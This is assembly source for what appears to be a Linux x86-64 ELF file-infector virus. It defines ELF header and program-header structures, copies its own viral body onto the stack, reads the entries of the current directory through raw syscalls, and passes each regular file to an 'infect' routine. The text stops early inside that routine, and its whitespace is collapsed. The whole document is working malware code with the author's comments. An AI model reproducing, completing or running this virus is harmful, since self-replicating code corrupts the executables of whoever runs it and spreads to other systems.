;---------------------------------- CUT HERE ----------------------------------
; some structs, thanks https://en.wikipedia.org/wiki/Executable_and_Linkable_Format !
strucSTAT
.st_devresq1
.st_inoresq1
.st_nlinkresq1
.st_moderesd1
.st_uidresd1
.st_gidresd1
.pad0resb4
.st_rdevresq1
.st_sizeresq1
.st_blksizeresq1
.st_blocksresq1
.st_atimeresq1
.st_atime_nsecresq1
.st_mtimeresq1
.st_mtime_nsecresq1
.st_ctimeresq1
.st_ctime_nsecresq1
endstruc
struce_hdr
.magicresd1; 0x7F followed by ELF(45 4c 46) in ASCII; these four bytes constitute the magic number.
.classresb1; This byte is set to either 1 or 2 to signify 32- or 64-bit format, respectively.
.dataresb1; This byte is set to either 1 or 2 to signify little or big endianness, respectively. This affects interpretation of multi-byte fields starting with offset 0x10.
.elf_versionresb1; Set to 1 for the original and current version of ELF.
.osresb1; Identifies the target operating system ABI.
.abi_versionresb1
.paddingresb7; currently unused, should be filled with zeros. <--------- that will be the place where we will put out signature
.typeresb2; Identifies object file type.
.machineresb2; Specifies target instruction set architecture.
.e_versionresb4; Set to 1 for the original version of ELF.
.entryresq1; this is the entry point
.phoffresq1; Points to the start of the program header table.
.shoffresq1; Points to the start of the section header table.
.flagsresb4; Interpretation of this field depends on the target architecture.
.ehsizeresb2; Contains the size of this header, normally 64 Bytes for 64-bit and 52 Bytes for 32-bit format.
.phentsizeresb2; Contains the size of a program header table entry.
.phnumresb2; Contains the number of entries in the program header table.
.shentsizeresb2; Contains the size of a section header table entry.
.shnumresb2; Contains the number of entries in the section header table.
.shstrndxresb2; Contains index of the section header table entry that contains the section names.
.endresb1
endstruc
struce_phdr
.typeresb4; Identifies the type of the segment. (The number which interest us are: 0 = PT_NULL | 1 = PT_LOAD | 2 = PT_DYNAMIC | 4 = PT_NOTE)
.flagsresd1; Segment-dependent flags (position for 64-bit structure).
.offsetresq1; Offset of the segment in the file image.
.vaddrresq1; Virtual address of the segment in memory.
.paddrresq1; On systems where physical address is relevant, reserved for segments physical address.
.fileszresq1; Size in bytes of the segment in the file image.
.memszresq1; Size in bytes of the segment in memory.
.alignresq1; 0 and 1 specify no alignment. Otherwise should be a positive, integral power of 2, with p_vaddr equating p_offset modulus p_align.
.endresb1
endstruc
struce_shdr
.nameresb4; An offset to a string in the .shstrtab section that represents the name of this section.
.typeresb4; Identifies the type of this header.
.flagsresq1; Identifies the attributes of the section.
.addrresq1; Virtual address of the section in memory, for sections that are loaded.
.offsetresq1; Offset of the section in the file image.
.sizeresq1; Size in bytes of the section in the file image.
.linkresb4
.inforesb4
.addralignresq1; Contains the required alignment of the section.
.entsizeresq1; Contains the size, in bytes, of each entry, for sections that contain fixed-size entries.
.endresb1
endstruc
%define VXSIZE 0x508
%define BUFFSIZE 1024
section.text
global_start
_start:
movr14,rsp
addrsp,VXSIZE
movr15,rsp
getVirus:; first we get the vx code (thanks to the same method I used in Linux.Proudhon.i386)
callget_eip
subrax,0x12
movcl,byte[rax+rbx]
movbyte[rsp+rbx],cl
incrbx
cmprbx,VXSIZE
jnegetVirus
callclean
addrsp,VXSIZE
addrsp,VXSIZE
addrsp,0x100
jmpgetdot
main:
poprdi
movrax,2; open syscall
xorrsi,rsi; flags = rdonly
syscall; and awaaaaay we go
; we use the stack to hold dirents
movrdi,rax
movrax,217
movrsi,rsp
movrdx,BUFFSIZE
syscall
cmprax,0
jlexit
movr13,rax
xorrbx,rbx
loop:
movrax,rsp
addrax,0x13; d_name
; write the name
movrsi,rax
movrdi,1
xorrcx,rcx
movcl,byte[rsp+0x12]; rcx now contains the type of data (directory or file)
pushrbx
callinfect
poprbx
movax,[rsp+0x10]; the buffer position += d_reclen
addrbx,rax
addrsp,rax
cmprbx,r13
jlloop
jmpexit
infect:
movrbp,rsp
cmprcx,0x8; check if the thing we will try to inject is a file or a directory (0x4 = dir | 0x8 = file)